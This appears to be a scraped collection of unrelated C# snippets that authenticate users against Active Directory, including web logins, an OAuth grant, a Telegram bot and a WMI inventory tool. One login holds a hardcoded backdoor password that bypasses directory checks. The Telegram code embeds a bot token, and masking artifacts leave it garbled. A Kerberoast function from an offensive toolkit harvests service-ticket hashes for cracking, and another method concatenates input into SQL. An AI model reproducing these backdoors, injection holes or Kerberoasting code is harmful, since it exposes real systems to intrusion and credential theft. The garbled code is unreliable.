protected void Page_Load(object sender, EventArgs e) { if (Page.IsPostBack) { string firstname = username.Text; string password = password1.Text; //begin temp code mgouda ohasan if (firstname == "mgouda" && password == "123456") { Utilities.IsAuthenticated = true; Utilities.UserName = firstname; Utilities.Email = firstname; Utilities.FullName = firstname; string path = VirtualPathUtility.ToAbsolute("~/models/live_doctors/DoctorsLiveSessions.aspx"); Response.Redirect(path); return; } //end temp code PrincipalContext pContxt = new PrincipalContext(ContextType.Domain, "192.168.5.50", "OU=User,DC=EKFU,DC=LOCAL", firstname, password); bool checkUser = pContxt.ValidateCredentials(firstname, password); if (checkUser == false) { pContxt = new PrincipalContext(ContextType.Domain, "192.168.5.51", "OU=User,DC=EKFU,DC=LOCAL", firstname, password); checkUser = pContxt.ValidateCredentials(firstname, password); } if (checkUser == false) { pContxt = new PrincipalContext(ContextType.Domain, "192.168.93.52", "OU=User,DC=EKFU,DC=LOCAL", firstname, password); checkUser = pContxt.ValidateCredentials(firstname, password); } if (checkUser == false) { Response.Redirect("login.aspx"); } else { PrincipalSearcher se = new PrincipalSearcher(); UserPrincipal pc = UserPrincipal.FindByIdentity(pContxt, IdentityType.SamAccountName, firstname); DirectoryEntry de = (DirectoryEntry)pc.GetUnderlyingObject(); String userType = de.Properties["employeeType"].Value.ToString(); if (userType == "staff" || userType == "faculty") { System.DirectoryServices.AccountManagement.UserPrincipal up = ((System.DirectoryServices.AccountManagement.UserPrincipal)pc); Utilities.IsAuthenticated = true; Utilities.UserName = firstname; Utilities.Email = firstname; Utilities.FullName = firstname; string path = VirtualPathUtility.ToAbsolute("~/models/live_doctors/DoctorsLiveSessions.aspx"); Response.Redirect(path); } else { Utilities.IsAuthenticated = false; Utilities.UserName = null; // todo error message not authenticated } } } }
public override void OnAuthorization(System.Web.Mvc.AuthorizationContext filterContext) { if (filterContext == null) { throw new ArgumentNullException("filterContext"); } HttpContextBase httpContext = filterContext.HttpContext; string incomingRepoName = GetRepoPath(httpContext.Request.Path, httpContext.Request.ApplicationPath); string repo = Repository.NormalizeRepositoryName(incomingRepoName, RepositoryRepository); // check if repo allows anonymous pulls if (RepositoryPermissionService.AllowsAnonymous(repo)) { return; } if (httpContext.Request.IsAuthenticated && httpContext.User != null && httpContext.User.Identity is System.Security.Claims.ClaimsIdentity) { return; } // Add header to prevent redirection to login page (see IAuthenticationProvider.Configure) httpContext.Request.Headers.Add("AuthNoRedirect", "1"); string auth = httpContext.Request.Headers["Authorization"]; if (String.IsNullOrEmpty(auth)) { httpContext.Response.Headers.Add("WWW-Authenticate", "Basic realm=\"Bonobo Git\""); filterContext.Result = new HttpStatusCodeResult(HttpStatusCode.Unauthorized); return; } byte[] encodedDataAsBytes = Convert.FromBase64String(auth.Replace("Basic ", String.Empty)); string value = Encoding.ASCII.GetString(encodedDataAsBytes); string username = Uri.UnescapeDataString(value.Substring(0, value.IndexOf(':'))); string password = Uri.UnescapeDataString(value.Substring(value.IndexOf(':') + 1)); bool allowed = false; if (!String.IsNullOrEmpty(username) && !String.IsNullOrEmpty(password)) { if (AuthenticationProvider is WindowsAuthenticationProvider) { var domain = username.GetDomain(); username = username.StripDomain(); try { using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, domain)) { var adUser = UserPrincipal.FindByIdentity(pc, username); if (adUser != null) { if (pc.ValidateCredentials(username, password)) { httpContext.User = new ClaimsPrincipal(new ClaimsIdentity(AuthenticationProvider.GetClaimsForUser(username.Replace("\\", "!")))); allowed = true; } } } } catch (PrincipalException) { // let it fail } } else { if (MembershipService.ValidateUser(username, password) == ValidationResult.Success) { httpContext.User = new ClaimsPrincipal(new ClaimsIdentity(AuthenticationProvider.GetClaimsForUser(username))); allowed = true; } } } if (!allowed) { filterContext.Result = new HttpStatusCodeResult(HttpStatusCode.Unauthorized); } }
private void timerRecieveMessageTelegramBot_Tick(object sender, EventArgs e) { /// copy of fake json //string jsonInputGetUrlTelegram = getJsonGhollabi(); string jsonInputGetUrlTelegram = GET("https://api.telegram.org/bot" + "287401999:AAG_D0e0k1MHTAt8JhK9UPYPfZkGTKBzyeE" + "/getUpdates"); //TextReader tr = new TextReader(;); RootObject ro = Newtonsoft.Json.JsonConvert.DeserializeObject <RootObject>(jsonInputGetUrlTelegram); //List<Result> r = ro.result.Reverse; if (ro.ok) { foreach (Result r in ro.result) { int uId = r.update_id; Message m = r.message; int msgId = m.message_id; if (int.Parse(lblLastMsgId.Text) < r.message.message_id) { if (m.entities != null) { if (m.entities[0].type == "bot_command") { //if(m.text.Length > 4) if (m.text.Substring(1, m.text.Length - 1).ToLower() == "start") { if (existInDicStartWas(r.message.from.id) < 0) { StateMachinStartWas.Add(r.message.from.id, "start"); sendMSG2Bot(txtAdminID.Text, txtMsgWelcomePlease.Text + " Mr./ Mrs : " + r.message.from.first_name + " /uname"); sendMSG2Bot(r.message.from.id.ToString(), txtMsgWelcomePlease.Text + " Mr./ Mrs : " + r.message.from.first_name + " /uname"); } else { // why try start again } } else if (m.text.Substring(1, m.text.Length - 1).ToLower() == "uname") { if (existInDicUNameWas(r.message.from.id) < 0) { addDicUnameWas(r.message.from.id, ""); sendMSG2Bot(txtAdminID.Text, " give me username:"******" give me username:"******"passw") { addDicPasswWas(r.message.from.id, ""); sendMSG2Bot(txtAdminID.Text, " give me password : "******" give me password : "******"username : "******" /passw"); sendMSG2Bot(r.message.from.id.ToString(), "username : "******" /passw"); } else if (existInDicUNameWas(r.message.from.id) == 1 && existInDicPasswWas(r.message.from.id) > -1) { bool valid = false; using (PrincipalContext context = new PrincipalContext(ContextType.Domain)) { valid = context.ValidateCredentials(getDicUname(r.message.from.id), r.message.text); } if (valid) { sendMSG2Bot(txtAdminID.Text, "your alert set"); sendMSG2Bot(r.message.from.id.ToString(), "your alert set"); if (getDicUname(r.message.from.id) != "") { setTelegramFieldWithID(r.message.from.id, getDicUname(r.message.from.id)); } else { eventlog("error exeption", "Application", "Log : id after validation not exist", EventLogEntryType.Error); } } else { sendMSG2Bot(txtAdminID.Text, "username or password is not correct try again? type your password or /stop"); sendMSG2Bot(r.message.from.id.ToString(), "username or password is not correct try again? type your password or /stop"); eventlog("user pass not valid", "Application", "Log : id after validation not exist", EventLogEntryType.Error); } removeDicsThisID(r.message.from.id); } //DicStateMachinStart(uId,msgId); lblLastMsgId.Text = r.message.message_id.ToString(); } } } else { richTextBox1.Text += "false in telegram result ok object"; } }
protected void cmdSubmit_Click(object sender, EventArgs e) { Profiles.Login.Utilities.DataIO data = new Profiles.Login.Utilities.DataIO(); if (Request.QueryString["method"].ToString() == "login") { Profiles.Login.Utilities.User user = new Profiles.Login.Utilities.User(); user.UserName = txtUserName.Text.Trim(); user.Password = txtPassword.Text.Trim(); String adDomain = ConfigurationSettings.AppSettings["AD.Domain"]; String adUser = null; String adPassword = null; try { adUser = ConfigurationSettings.AppSettings["AD.User"]; adPassword = ConfigurationSettings.AppSettings["AD.Password"]; } catch (Exception ex) { } String admin = null; try { admin = ConfigurationSettings.AppSettings["AD.AccessContact"]; } catch (Exception ex) { } using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, adDomain, adUser, adPassword)) { // validate the credentials if (pc.ValidateCredentials(user.UserName, user.Password)) { if (data.UserLoginExternal(ref user)) { if (Request.QueryString["edit"] == "true") { Response.Redirect(Root.Domain + "/edit/" + sm.Session().NodeID.ToString()); } else { Response.Redirect(Request.QueryString["redirectto"].ToString()); } } else { lblError.Text = user.UserName + " is not an authorized user of the Profiles Research Networking Software application."; if (admin != null) { lblError.Text = lblError.Text + "<br>Please contact " + admin + " to obtain access."; } txtPassword.Text = ""; txtPassword.Focus(); } } else { lblError.Text = "Login failed, please try again"; txtPassword.Text = ""; txtPassword.Focus(); } } } }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, bool userStats = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { if (resultLimit > 0) { userSearcher.SizeLimit = resultLimit; Console.WriteLine("[*] Up to {0} result(s) will be returned", resultLimit.ToString()); } SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); long lastPwdSet = (long)(user.Properties["pwdlastset"][0]); DateTime pwdLastSet = DateTime.FromFileTimeUtc(lastPwdSet); Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } try { if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } int year = (int)pwdLastSet.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] = userPWDsetYears[year] + 1; } } catch { } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if (!String.IsNullOrEmpty(domain)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, dc); } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public async Task <ApplicationUser> GetUserAsync(string username, string password) { using (var context = new PrincipalContext(ContextType.Domain, "INCOMSYSTEM.ru")) { // Проверка логина и пароля if (context.ValidateCredentials(username, password)) { var user = await _userManager.FindByNameAsync(username); if (user == null) { // Поиск пользователя в ActiveDirectory using (var entry = new DirectoryEntry("LDAP://incomsystem.ru", "INCOMSYSTEM\\" + username, password)) { using (var searcher = new DirectorySearcher(entry)) { // Критерий поиска searcher.Filter = $"SAMAccountName={username}"; // Получаемые свойства searcher.PropertiesToLoad.Add(SAMAccountNameAttribute); searcher.PropertiesToLoad.Add(DisplayNameAttribute); searcher.PropertiesToLoad.Add(GivenNameAttribute); searcher.PropertiesToLoad.Add(SnAttribute); var result = searcher.FindOne(); if (result != null) { var accountName = result.Properties[SAMAccountNameAttribute][0].ToString(); var displayName = result.Properties[DisplayNameAttribute][0].ToString(); var nameArray = displayName.Split(' '); var name = nameArray[1]; var lastName = nameArray[0]; user = new ApplicationUser { UserName = accountName, Name = $"{lastName} {name}" }; await _userManager.CreateAsync(user); if (user.UserName.Equals("budanovav", StringComparison.OrdinalIgnoreCase) || user.UserName.Equals("belovvv", StringComparison.OrdinalIgnoreCase) || user.UserName.Equals("nigmatovrr", StringComparison.OrdinalIgnoreCase)) { await _userManager.AddToRoleAsync(user, "Admin"); } else { await _userManager.AddToRoleAsync(user, "User"); } } } } } return(user); } return(null); } }
public override async Task GrantResourceOwnerCredentials(OAuthGrantResourceOwnerCredentialsContext context) { context.OwinContext.Response.Headers.Add("Access-Control-Allow-Origin", new[] { "*" }); using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, ESPL.RedSkyTimeSheet.Models.Constants.DomainName)) { //Validate user credentials with AD if (pc.ValidateCredentials(context.UserName, context.Password)) { //Get User ID of given user from the site if the user is authorized to access site UserInformation userInfo = UserInfoOperations.GetUserInfo(context.UserName, ESPL.RedSkyTimeSheet.Models.Constants.QualifiedDomainName, ESPL.RedSkyTimeSheet.Models.Constants.SiteUrl); //check authorization id. If user id is zero "0" then the given user is not authorized to access the site if (userInfo.ID == 0) { context.SetError("unauthorized_user", "User is not authorized to site"); return; } //Get user information from AD UserPrincipal UserInfoFromAD = UserPrincipal.FindByIdentity(pc, context.UserName.ToString()); var identity = new ClaimsIdentity(context.Options.AuthenticationType); identity.AddClaim(new Claim("LoginName", Convert.ToString(context.UserName))); if (UserInfoFromAD.GivenName == null) { identity.AddClaim(new Claim("FirstName", "")); } else { identity.AddClaim(new Claim("FirstName", Convert.ToString(UserInfoFromAD.GivenName))); } if (UserInfoFromAD.MiddleName == null) { identity.AddClaim(new Claim("MiddleName", "")); } else { identity.AddClaim(new Claim("MiddleName", Convert.ToString(UserInfoFromAD.MiddleName))); } if (UserInfoFromAD.Surname == null) { identity.AddClaim(new Claim("LastName", "")); } else { identity.AddClaim(new Claim("LastName", Convert.ToString(UserInfoFromAD.Surname))); } if (UserInfoFromAD.EmailAddress == null) { identity.AddClaim(new Claim("Email", "")); } else { identity.AddClaim(new Claim("Email", Convert.ToString(UserInfoFromAD.EmailAddress))); } if (UserInfoFromAD.VoiceTelephoneNumber == null) { identity.AddClaim(new Claim("Telephone", "")); } else { identity.AddClaim(new Claim("Telephone", Convert.ToString(UserInfoFromAD.VoiceTelephoneNumber))); } if (userInfo.ID == 0) { identity.AddClaim(new Claim("UserID", "")); } else { identity.AddClaim(new Claim("UserID", Convert.ToString(userInfo.ID))); } identity.AddClaim(new Claim(ClaimTypes.Name, context.UserName)); context.Validated(identity); } else { context.SetError("inactive_user", "Invalid User Name or Password"); return; } } }
public bool AuthenticateIt(string Username, string ADSPassword) { PrincipalContext principalContext = new PrincipalContext(ContextType.Domain, this.IP_ADDRESS, "CN=" + Username + ",OU=USERS,OU=Vulindlela3," + this.DC, Username, ADSPassword); if (!principalContext.ValidateCredentials(Username, ADSPassword)) { principalContext.Dispose(); return(false); } UserPrincipal userPrincipal = UserPrincipal.FindByIdentity(principalContext, Username); this.SAMAccountName = userPrincipal.SamAccountName; this.Title = userPrincipal.DistinguishedName; this.Name = userPrincipal.Name; this.SurName = userPrincipal.Surname; this.GivenName = userPrincipal.GivenName; this.EmailAddress = userPrincipal.EmailAddress; DirectoryEntry searchRoot = new DirectoryEntry(string.Concat(new string[] { "LDAP://", this.IP_ADDRESS, "/CN=", Username, ",OU=USERS,OU=Vulindlela3,", this.DC }), this.ADSMasterUsername, this.ADSMasterPassword); SearchResult searchResult = new DirectorySearcher(searchRoot) { Filter = "saMAccountName=" + Username, PropertiesToLoad = { "memberOf" } }.FindOne(); int count = searchResult.Properties["memberOf"].Count; for (int i = 0; i <= count - 1; i++) { string text = searchResult.Properties["memberOf"][i].ToString(); text = text.Replace("OU=", ""); text = text.Replace("CN=", ""); string text2 = text.Replace("DC=", ""); string[] array = text2.Split(new char[] { ',' }); string[] array2 = array[0].Split(new char[] { '.' }); if (array[1] == "GOVERNMENT_STRUCTURE") { if (array[0].IndexOf(".") >= 1) { string text3 = array2[0].ToUpper() + "=EXTENDED_DEPARTMENTS|"; try { this.mvarCol_MemberOf2.Add(text3, text3, null, null); } catch (Exception) { } try { text2 = this.mvarCol_MemberOf2[text3] + "','" + array2[1]; this.mvarCol_MemberOf2.Remove(text3); this.mvarCol_MemberOf2.Add(text2, text3, null, null); goto IL_33B; } catch (Exception ex) { this.mvarsError = "{ADS7.authenticate} authenticate: (" + ex.Message + ") " + ex.Source; userPrincipal.Dispose(); principalContext.Dispose(); bool result = false; return(result); } } this.getDetails(array[0].ToString()); } else { if (array[1] == "APPLICATION_RIGHTS") { string text3 = array2[0] + "=APPLICATION_RIGHTS|"; try { this.mvarCol_MemberOf2.Add(text3, text3, null, null); } catch (Exception) { } try { text2 = this.mvarCol_MemberOf2[text3] + "','" + array2[1]; this.mvarCol_MemberOf2.Remove(text3); this.mvarCol_MemberOf2.Add(text2, text3, null, null); } catch (Exception ex2) { this.mvarsError = "{ADS7.authenticate} authenticate: (" + ex2.Message + ") " + ex2.Source; userPrincipal.Dispose(); principalContext.Dispose(); bool result = false; return(result); } } } IL_33B: this.mvarCol_MemberOf.Add(array, text, null, null); } SqlConnection sqlConnection = new SqlConnection(this._cnConn); sqlConnection.Open(); SqlCommand sqlCommand = new SqlCommand(); foreach (string text4 in this.mvarCol_MemberOf2) { //Console.WriteLine(text4); sqlCommand.Connection = sqlConnection; sqlCommand.CommandType = CommandType.Text; sqlCommand.CommandText = "SELECT APPLICATION_GROUP_ID, GROUP_SHORT_NAME FROM VIP_EXPANDED..APPLICATION_GROUPS WHERE UPPER(GROUP_SHORT_NAME)='" + text4.Substring(0, text4.IndexOf("=")) + "'"; SqlDataReader sqlDataReader = sqlCommand.ExecuteReader(); if (sqlDataReader.HasRows) { sqlDataReader.Read(); this.add2Application(sqlDataReader.GetValue(sqlDataReader.GetOrdinal("APPLICATION_GROUP_ID")).ToString(), sqlDataReader.GetValue(sqlDataReader.GetOrdinal("GROUP_SHORT_NAME")).ToString(), text4.ToString()); } sqlDataReader.Close(); } if (this.mvarsRights.Length > 0) { this.mvarsRights = this.mvarsRights.Substring(1, this.mvarsRights.Length - 1); } userPrincipal.Dispose(); principalContext.Dispose(); return(true); }
private void button7_Click(object sender, EventArgs e) { string[] login = PasswordPrompt.ShowDialog(); if (login == null) { MessageBox.Show("Empty Login", "Login Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } bool valid = false; using (PrincipalContext context = new PrincipalContext(ContextType.Domain)) { valid = context.ValidateCredentials(login[0], login[1]); } if (!valid) { MessageBox.Show("Incorrect Credentials", "Login Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } //Console.WriteLine(login[0]); ConnectionOptions options = new ConnectionOptions(); options.EnablePrivileges = true; options.Impersonation = ImpersonationLevel.Impersonate; // options.Authority = "ntlmdomain:" + System.Configuration.ConfigurationSettings.AppSettings["DomainName"].ToString(); options.Authentication = AuthenticationLevel.Packet; options.Username = login[0]; options.Password = login[1]; EnumerationOptions opt = new EnumerationOptions(); opt.Timeout = new TimeSpan(0, 0, 1); options.Timeout = new TimeSpan(0, 0, 1); List <Task> tasks = new List <Task>(); foreach (DataRow r in table.Rows) { Console.WriteLine(DateTime.Now.Ticks / TimeSpan.TicksPerMillisecond); // Console.WriteLine("Test1"); if (r["Asset Number"].GetType() == typeof(DBNull) || (string)(r["Asset Number"]) == "") { continue; } string name = (string)r["Asset Number"]; if (String.Compare(((string)r["Type"]), "Laptop", StringComparison.OrdinalIgnoreCase) == 0) { name += "P"; } else if (String.Compare(((string)r["Type"]), "Desktop", StringComparison.OrdinalIgnoreCase) == 0) { name += "D"; } else { continue; } // Console.WriteLine("Testb" + name); tasks.Add(Task.Factory.StartNew(() => { try { // if (!PingHost("ONGUELA" + name, 135)) // return; Console.WriteLine("test"); ManagementScope scope = new ManagementScope("\\\\ONGUELA" + name + "\\root\\cimv2", options); scope.Options.Timeout = TimeSpan.FromSeconds(5); scope.Connect(); ObjectQuery query = new ObjectQuery("SELECT Capacity FROM Win32_PhysicalMemory"); ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query, opt); searcher.Options.Timeout = TimeSpan.FromSeconds(5); ManagementObjectCollection queryCollection = searcher.Get(); UInt64 Capacity = 0; foreach (ManagementObject m in queryCollection) { Capacity += (UInt64)m["Capacity"]; } query = new ObjectQuery("SELECT Size FROM Win32_DiskDrive"); searcher = new ManagementObjectSearcher(scope, query, opt); queryCollection = searcher.Get(); UInt64 HDD = 0; foreach (ManagementObject m in queryCollection) { HDD += (UInt64)m["Size"]; } query = new ObjectQuery("SELECT SerialNumber FROM Win32_BIOS"); searcher = new ManagementObjectSearcher(scope, query, opt); queryCollection = searcher.Get(); string SN = (String)queryCollection.OfType <ManagementObject>().First()["SerialNumber"]; query = new ObjectQuery("SELECT PartOfDomain,Manufacturer,Model,UserName FROM Win32_ComputerSystem"); searcher = new ManagementObjectSearcher(scope, query, opt); queryCollection = searcher.Get(); ManagementObject d = queryCollection.OfType <ManagementObject>().First(); string manu = (String)d["Manufacturer"]; string model = (String)d["Model"]; string user = (String)d["UserName"]; bool network = (bool)d["PartOfDomain"]; //Console.WriteLine("hia"); lock (r) { r["Memory"] = Math.Round((double)Capacity / (1024 * 1024 * 1024)); r["LastWMIC"] = DateTime.Now.ToString("yyyy-MM-dd"); r["Manufacturer"] = manu; r["Model"] = model; r["On Network"] = network; r["S/N"] = SN; r["LastUser"] = user; r["Hard Drive"] = Math.Round((double)HDD / (1024 * 1024 * 1024)); } //Console.WriteLine("hic"); } catch (Exception er) { Console.WriteLine(er.ToString()); } })); } Task.WaitAll(tasks.ToArray()); dataGridView1.Refresh(); }
